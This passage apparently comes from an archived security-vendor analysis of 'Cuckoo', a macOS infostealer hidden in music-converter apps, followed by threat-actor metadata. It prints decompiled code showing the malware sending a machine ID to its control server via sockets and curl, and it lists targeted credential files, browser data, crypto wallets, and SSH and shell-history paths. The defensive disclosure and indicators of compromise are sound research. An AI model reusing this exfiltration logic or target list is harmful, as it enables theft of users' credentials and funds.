__builtin_strcpy(dest: \u0026filename, src: \"/Applications/DumpMedia Spotify Music Converter\r\n100005908 XOR_func(\u0026filename, 0x34)\r\n100005914 int64_t var_1cc0\r\n100005914 void var_1848\r\n100005914 if (fileExists(filename: \u0026filename) == 0)\r\n100005924 __builtin_strcpy(dest: \u0026var_1cc0, src: \"cp -r \\\"%s\\\" \\\"%s\\\"\")\r\n100005930    XOR_func(\u0026var_1cc0, 0x10)\r\n100005938    void* var_1ce0_1 = \u0026stringPathToAppinResource\r\n100005938    int128_t* var_1cd8_2 = \u0026filename\r\n100005948    _snprintf(\u0026var_1848, 0x1000, \u0026var_1cc0)\r\n100005954    popenCMD(\u0026var_1848, 0)\r\n100005964  __builtin_strcpy(dest: \u0026var_1cc0, src: \"open -a \\\"%s\\\"\")\r\nNetwork Communication and Data Exfiltration \r\nThis sample leverages sockets and the curl API for communication back to its C2. Below are the calls to the\r\nsend() function after the related socket function calls. \r\n1000036c0 _send(socket_return_x19, \u0026var_47c, 4, 0)\r\n1000036d4 _send(socket_return_x19, \u0026length, 4, 0)\r\n1000036e8 _send(socket_return_x19, \u0026UUID_10002036c, zx.q(length), 0)\r\n1000036fc _send(socket_return_x19, \u0026message_1, 4, 0)\r\n100003710 _send(socket_return_x19, \u0026A_chars, 0x10, 0)\r\n100003724 _send(socket_return_x19, \u0026var_458, zx.q(message_1), 0)\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 14 of 22\n\nWe observed network communication to the IP address 146.70.80.123, which was used to send the machine UUID\r\nthat was captured when this malware first executed. It apparently checks the UUID on the C2 server, to see if the\r\nmalware has already been run on the host. We observed the malware going no further than the quarantine flag\r\nremoval when we tried to run the malware after the first run. If we had disconnected from the internet before\r\nadditional runs, it would have progressed as if it were the first time. \r\nCurl Usage\r\nThe malware leverages curl api’s to use curl and post information to its C2. Below is an example of one such\r\nsetup and additional setop() function calls. \r\nThe target URL is decoded and passed as an argument to the curl_easy_setopt() function along with the flag\r\n0x2712 for setup. \r\n10000445c 000540ad  ldp   q0, q1, [x8] {data_10001afd7, \"http://146.70.80.123/static.php\"} {dat\r\n100004460 e08701ad  stp   q0, q1, [sp, #0x30] {var_b0} {var_a0}\r\n100004464 e0c30091  add   x0, sp, #0x30 {var_b0}\r\n100004468 01048052  mov   w1, #0x20\r\n10000446c 084f0094  bl   XOR_func\r\ncurl_easy_setop() functions:\r\n1000121c0 _curl_easy_setopt(curlHandle, 0xd)\r\n1000121c4 int64_t var_a0_2 = arg1\r\n1000121d0 _curl_easy_setopt(curlHandle, 0x2712)\r\n1000121dc int64_t (* var_a0_3)(int64_t arg1, int64_t arg2, int64_t arg3, int64_t* arg4) = sub_1000\r\n1000121e8 _curl_easy_setopt(curlHandle, 0x4e2b)\r\n1000121f0 int64_t* var_a0_4 = \u0026var_98\r\n1000121fc _curl_easy_setopt(curlHandle, 0x2711)\r\n100012200 void* var_a0_5 = x0_4 + 0x21\r\n10001220c _curl_easy_setopt(curlHandle, 0x75a8)\r\n100012210 int128_t* var_a0_6 = x0_6\r\n10001221c _curl_easy_setopt(curlHandle, 0x271f)\r\n100012220 int64_t var_a0_7 = x0_9\r\n10001222c _curl_easy_setopt(curlHandle, 0x2727)\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 15 of 22\n\nConclusion\r\nAs of this writing, the malicious files we examined are still undetected in VirusTotal. Initially, when we first\r\nstarted looking into the malware, we thought it was only found in the DumpMedia Spotify Music application.\r\nHowever, on further investigation, we found it to be more widespread. Not only were other applications hosted on\r\nthe DumpMedia site found to be malicious, but also those on additional websites hosting similar tools. \r\nSo far, we have found that the websites tunesolo[.]com, fonedog[.]com, tunesfun[.]com, tunefab[.]com are hosting\r\nmalicious applications containing the same malware analyzed above. Each website appears very similar. They\r\noffer free and paid versions of applications dedicated to ripping music from streaming services and to iOS and\r\nAndroid recovery.\r\nEach malicious application contains another application bundle within the resource directory. All of those bundles\r\n(except those hosted on fonedog[.]com) are signed and have a valid Developer ID of Yian Technology Shenzhen\r\nCo., Ltd (VRBJ4VRP). The website fonedog[.]com hosted an Android recovery tool among other things; the\r\nadditional application bundle in this one has a developer ID of FoneDog Technology Limited (CUAU2GTG98). \r\nWe assume that other websites and applications out there are hosting this malware but are not yet discovered. \r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 16 of 22\n\nIru EDR has been updated to detect Cuckoo. If you have configured an Avert  Library Item to Protect mode, the\r\nmalware will be quarantined.\r\nWe wanted to share this information swiftly, prioritizing the need to convey security knowledge and ensuring the\r\nentire Apple community is well-informed. Moving forward, we are committed to delivering updates as they\r\ndevelop.\r\nIndicators of Compromise\r\nDMGs\r\nSpotify-music-converter.dmg:\r\n254663d6f4968b220795e0742284f9a846f995ba66590d97562e8f19049ffd4b  \r\nMach-Os\r\nDumpMediaSpotifyMusicConverter:\r\n1827db474aa94870aafdd63bdc25d61799c2f405ef94e88432e8e212dfa51ac7\r\nTuneSoloAppleMusicConverter:\r\nd8c3c7eedd41b35a9a30a99727b9e0b47e652b8f601b58e2c20e2a7d30ce14a8\r\nTuneFunAppleMusicConverter:\r\n39f1224d7d71100f86651012c87c181a545b0a1606edc49131730f8c5b56bdb7\r\nFoneDogToolkitForAndroid: a709dacc4d741926a7f04cad40a22adfc12dd7406f016dd668dd98725686a2dc\r\nDomains/IPs\r\nhttp://146[.]70[.]80[.]123/static[.]php\r\nhttp://146[.]70[.]80[.]123/index[.]php\r\nhttp://tunesolo[.]com\r\nhttp://fonedog[.]com\r\nhttp://tunesfun[.]com\r\nhttp://dumpmedia[.]com\r\nhttp://tunefab[.]com \r\nAddendum: Diving Deeper\r\nThe infostealing outlined above is just the beginning; Cuckoo looks for more information, including:\r\nbrowserSetup()\r\nThis function decodes the XOR-encoded strings for popular browsers to query for on the system and builds paths\r\nto each, including:\r\nOpera GX\r\nMicrosoft Edge\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 17 of 22\n\nGoogle Chrome\r\nMozilla Firefox\r\nMozilla Thunderbird\r\nOnce it builds the paths to these directories, it passes each into a function we renamed openDir_readDir, which\r\nuses C functions to open and read the directories. \r\n100012a64 int64_t x8 = *___stack_chk_guard\r\n100012a70 if (arg5 s\u003e= 1)\r\n100012a80   int64_t DirectoryOpen_2 = DirectoryOpen\r\n100012a84   DirectoryOpen = _opendir()\r\n100012a88   if (DirectoryOpen != 0)\r\n100012a90     void* nextDirectory = _readdir()\r\n100012a94     if (nextDirectory != 0)\r\n100012a98       void* x28_1 = nextDirectory\r\n100012b44        void* i\r\n100012b44        do\r\nBecause Firefox is not Chromium-based, there is a different function to handle the collection of that browser data\r\nif Firefox is on the system. \r\n100013288   __builtin_strncpy(dest: \u0026var_88, src: \"logins.j\", n: 8)\r\n100013294   int32_t var_80 = 0x591f3f\r\n1000132a4   XOR_func(\u0026var_88, 0xc)\r\n1000132b4   int64_t var_98\r\n1000132b4   __builtin_strcpy(dest: \u0026var_98, src: \"cookies.sqlite\")\r\n1000132cc   XOR_func(\u0026var_98, 0xf)\r\n1000132dc   int128_t var_b0\r\n1000132dc   __builtin_strncpy(dest: \u0026var_b0, src: \"formhistory.sqli\", n: 0x10)\r\n1000132e8   var_b0:0xf.d = 0x20424\r\n1000132f8   XOR_func(\u0026var_b0, 0x13)\r\n100013308   int64_t var_c0\r\n100013308   __builtin_strcpy(dest: \u0026var_c0, src: \"places.sqlite\")\r\n100013320   XOR_func(\u0026var_c0, 0xe)\r\n100013330   int128_t var_e0\r\n100013330   __builtin_strncpy(dest: \u0026var_e0, src: \"Browsers/%s_%s/%\", n: 0x10)\r\n100013338   int16_t var_d0 = 3\r\nAs seen throughout this sample, each target file is passed to the XOR function to be decoded and then used for the\r\ncollection. Interestingly, the malware authors also created a way to avoid collecting files that match .DS_Store\r\nfrom the directories. \r\n1000128a8 int64_t _.DS_Store\r\n1000128a8  __builtin_strcpy(dest: \u0026_.DS_Store, src: \".DS_Stor)\")\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 18 of 22\n\n1000128bc\r\nXOR_func(\u0026_.DS_Store, 0xa)\r\n1000128ccif (_strcmp(arg2 + 0x15, \u0026_.DS_Store) != 0)\r\nChromium Searches\r\nOnce it has finished with Firefox, Cuckoo moves on to browsers that are based on Chromium, in a function we\r\nnamed ChromiumQueriesAndWallets() . It uses paths to files that are known to contain important information\r\nfrom Chromium-based browsers. \r\n100012c18  __builtin_strncpy(dest: \u0026var_88, src: \"Login Data\", n: 8)\r\n100012c24  var_88:7.d = 0x113828\r\n100012c34  XOR_func(\u0026var_88, 0xb)\r\n100012c40  // [Default] b'Web Data'\r\n100012c44  int64_t var_98\r\n100012c44  __builtin_strncpy(dest: \u0026var_98, src: \"Web Data\", n: 9)\r\n100012c58  XOR_func(\u0026var_98, 9)\r\n100012c68  int64_t var_940 = 0x43223716077e\r\n100012c78  XOR_func(\u0026var_940, 8)\r\n100012c88  int64_t var_a8\r\n100012c88  __builtin_strncpy(dest: \u0026var_a8, src: \"Extensions\", n: 8)\r\n100012c94  var_a8:7.d = 0x32226\r\n100012ca0  XOR_func(\u0026var_a8, 0xb)\r\n100012cb0  int64_t var_b8\r\n100012cb0  __builtin_strcpy(dest: \u0026var_b8, src: \"Local Storage\")\r\n100012cc8  XOR_func(\u0026var_b8, 0xe)\r\n100012cd8  int128_t var_e0\r\n100012cd8  __builtin_strcpy(dest: \u0026var_e0, src: \"Local Extension Settings\")\r\n100012cec  XOR_func(\u0026var_e0, 0x19)\r\n100012cfc  int128_t var_100\r\n100012cfc  __builtin_strcpy(dest: \u0026var_100, src: \"Sync Extension Settings\")\r\n100012d10  XOR_func(\u0026var_100, 0x18)\r\n100012d20  int64_t var_110\r\n100012d20  __builtin_strncpy(dest: \u0026var_110, src: \"IndexedDB\", n: 8)\r\n100012d24  int16_t var_108 = 0xe\r\n100012d30   XOR_func(\u0026var_110, 0xa)\r\nSpecific extensions for known wallets are also targeted: \r\n100012df8  while (i_1 != 32)\r\n100012e0c  int128_t var_780\r\n100012e0c  __builtin_strncpy(dest: \u0026var_780, src: \"hnfanknocfeofbddgcijnmhnfnkdnaad\", n: 0x21)\r\n100012e1c  XOR_func(\u0026var_780, 0x21)\r\n100012e2c  int128_t var_7b0\r\n100012e2c  __builtin_strncpy(dest: \u0026var_7b0, src: \"aiifbnbfobpmeekipheeijimdpnlpgpp\", n: 0x21)\r\n100012e40  XOR_func(\u0026var_7b0, 0x21)\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 19 of 22\n\n100012e50\r\nint128_t var_7e0\r\n100012e50__builtin_strncpy(dest: \u0026var_7e0, src: \"hmeobnfnfcmdkdcmlblgagmfpfboieaf\", n: 0x21)\r\n100012e64  XOR_func(\u0026var_7e0, 0x21)\r\n100012e74  int128_t var_810\r\n100012e74  __builtin_strncpy(dest: \u0026var_810, src: \"bifidjkcdpgfnlbcjpdkdcnbiooooblg\", n: 0x21)\r\n100012e88  XOR_func(\u0026var_810, 0x21)\r\nAll targets created are checked using the stat() function to see if they exist using a function we renamed\r\nfileExists():\r\n100018aec BOOL fileExists(int64_t filename)\r\n100018b04  void buffer\r\n100018b04  char x8\r\n100018b04  if (_stat(filename, \u0026buffer) == 0)\r\n100018b04  x8 = 1\r\n100018b04  else\r\n100018b04    x8 = 0\r\nFilezilla()\r\nPaths to files that are known for storing FileZilla information are used to create targets for collection. \r\n100013ad4  __builtin_strncpy(dest: \u0026var_50, src: \"recentservers.xm\", n: 0x10)\r\n100013adc  int16_t var_40 = 0x1c\r\n100013aec  XOR_func(\u0026var_50, 0x12)\r\n100013afc  int128_t var_60\r\n100013afc  __builtin_strcpy(dest: \u0026var_60, src: \"sitemanager.xml\")\r\n100013b0c  XOR_func(\u0026var_60, 0x10)\r\n100013b10  char var_524 = 0\r\n100013b1c  int32_t $HOME = '~!(\\x06'\r\n100013b28  XOR_func(\u0026$HOME, 5)\r\n100013b38  int128_t var_80\r\n100013b38  __builtin_strcpy(dest: \u0026var_80, src: \"%s/.config/filezilla/%s\")\r\n100013b4c  XOR_func(\u0026var_80, 0x18)\r\n100013b5c  int128_t var_a0\r\n100013b5c  __builtin_strncpy(dest: \u0026var_a0, src: \"FTP/FileZilla/%s\", n: 0x11)\r\n100013b6c  XOR_func(\u0026var_a0, 0x11)\r\n100013b74  int64_t x0_6 = _getenv(\u0026$HOME)\r\nSteam()\r\nSame thing for files known for storing information for Steam, Discord, and Telegram: \r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 20 of 22\n\n100013c74\r\n__builtin_strcpy(dest: \u0026var_78, src: \"loginusers.vdf\")\r\n100013c88XOR_func(\u0026var_78, 0xf)\r\n100013c94   // [Default] b'config.vdf'\r\n100013c98   int64_t var_88\r\n100013c98   __builtin_strncpy(dest: \u0026var_88, src: \"config.v\", n: 8)\r\n100013ca4   var_88:7.d = 0x16283f\r\n100013cb4   XOR_func(\u0026var_88, 0xb)\r\n100013cc4   int64_t var_98\r\n100013cc4   __builtin_strcpy(dest: \u0026var_98, src: \"Steam/config\")\r\n100013cdc   XOR_func(\u0026var_98, 0xd)\r\n100013cec   int128_t var_c0\r\n100013cec   __builtin_strcpy(dest: \u0026var_c0, src: \"Library/Application Support\")\r\n100013d00   XOR_func(\u0026var_c0, 0x1c)\r\n1000146c0   XOR_func(\u0026HOME, 5)\r\n1000146d0   int128_t DiscordLocalStoragePath\r\n1000146d0   __builtin_strcpy(dest: \u0026DiscordLocalStoragePath, src: \"%s/Library/Application Support/\r\n1000146ec   XOR_func(\u0026DiscordLocalStoragePath, 0x35)\r\n1000146f8   int64_t var_2c0 = _getenv(\u0026HOME)\r\n10001470c   void DirectoryOpen\r\n10001470c   _snprintf(\u0026DirectoryOpen, 0x200, \u0026DiscordLocalStoragePath)\r\n10001471c   int128_t DiscordLocalStorage\r\n10001471c   __builtin_strcpy(dest: \u0026DiscordLocalStorage, src: \"Discord/Local Storage\")\r\n100014734   XOR_func(\u0026DiscordLocalStorage, 0x16)\r\n100014738   int128_t* var_2b0 = \u0026DiscordLocalStorage\r\n100014738   void* var_2a8 = \u0026DirectoryOpen\r\n100014758   int64_t x0_7 = openDir_readDir(DirectoryOpen: \u0026DirectoryOpen, \"*\", avoid_DS_Store, \u0026va\r\n10001492c   XOR_func(\u0026HOME, 5)\r\n10001493c   int64_t Telegram\r\n10001493c   __builtin_strncpy(dest: \u0026Telegram, src: \"Telegram\", n: 9)\r\n100014950   XOR_func(\u0026Telegram, 9)\r\n100014960   int128_t Telegram_tdata\r\n100014960   __builtin_strcpy(dest: \u0026Telegram_tdata, src: \"%s/Library/Application Support/Telegram\r\n10001497c   XOR_func(\u0026Telegram_tdata, 0x36)\r\n100014988   int64_t var_4b0 = _getenv(\u0026HOME)\r\n10001499c   void DirectoryOpen\r\n10001499c   _snprintf(\u0026DirectoryOpen, 0x400, \u0026Telegram_tdata)\r\n1000149a0   int64_t* var_4a0 = \u0026Telegram\r\n1000149a0   void* var_498 = \u0026DirectoryOpen\r\n1000149c0   int64_t x0_7 = openDir_readDir(DirectoryOpen: \u0026DirectoryOpen, \"*\", TelegramSessions, \u0026\r\nwallets_and_coins()\r\nSeveral known wallets are queried and listed below. Each of these paths is then passed to the same read and open\r\nfunctions discussed above. \r\nWallets/Ethereum\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 21 of 22\n\nWallets/Electrum-LTC\r\nWallets/ElectronCash\r\nWallets/Monero\r\nWallets/Jaxx\r\nWallets/Guarda\r\nWallets/atomic\r\nWallets/BitPay\r\nWallets/MyMonero\r\nWallets/Coinomi\r\nWallets/Daedalus\r\nWallets/Wasabi\r\nWallets/Blockstream\r\nExodus\r\nLedger Live\r\nWallets/trezor\r\nZSH history and SSH\r\nWe also observed zsh history information and queries to the .ssh folder for collection.  \r\n100014a7c  __builtin_strcpy(dest: \u0026_%s/.zsh_history, src: \"%s/.zsh_history\")\r\n100014a88  XOR_func(\u0026_%s/.zsh_history, 0x10)\r\n100014a98  int128_t zsh_history.txt\r\n100014a98  __builtin_strcpy(dest: \u0026zsh_history.txt, src: \"zsh_history.txt\")\r\n100014aa4  XOR_func(\u0026zsh_history.txt, 0x10)\r\n100014aac  int64_t x0_6 = _getenv(\u0026HOME)\r\n100014ab4  int64_t var_4a0 = x0_6\r\n100014ac8  void DirectoryOpen\r\n100014ac8  _snprintf(\u0026DirectoryOpen, 0x400, \u0026_%s/.ssh)\r\n100014acc  int32_t* var_490 = \u0026SSH\r\n100014acc  void* var_488 = \u0026DirectoryOpen\r\n100014aec  openDir_readDir(DirectoryOpen: \u0026DirectoryOpen, \"*\", avoid_DS_Store, \u0026var_490, 0x3e7)\r\nKandji is now Iru. This article was originally published under the Kandji brand.\r\nSource: https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 22 of 22",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"
	],
	"report_names": [
		"malware-cuckoo-infostealer-spyware"
	],
	"threat_actors": [
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775441448,
	"ts_updated_at": 1775826745,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/be7f950356d9181a05405ef1caeb4a847b897ad9.pdf",
		"text": "https://archive.orkl.eu/be7f950356d9181a05405ef1caeb4a847b897ad9.txt",
		"img": "https://archive.orkl.eu/be7f950356d9181a05405ef1caeb4a847b897ad9.jpg"
	}
}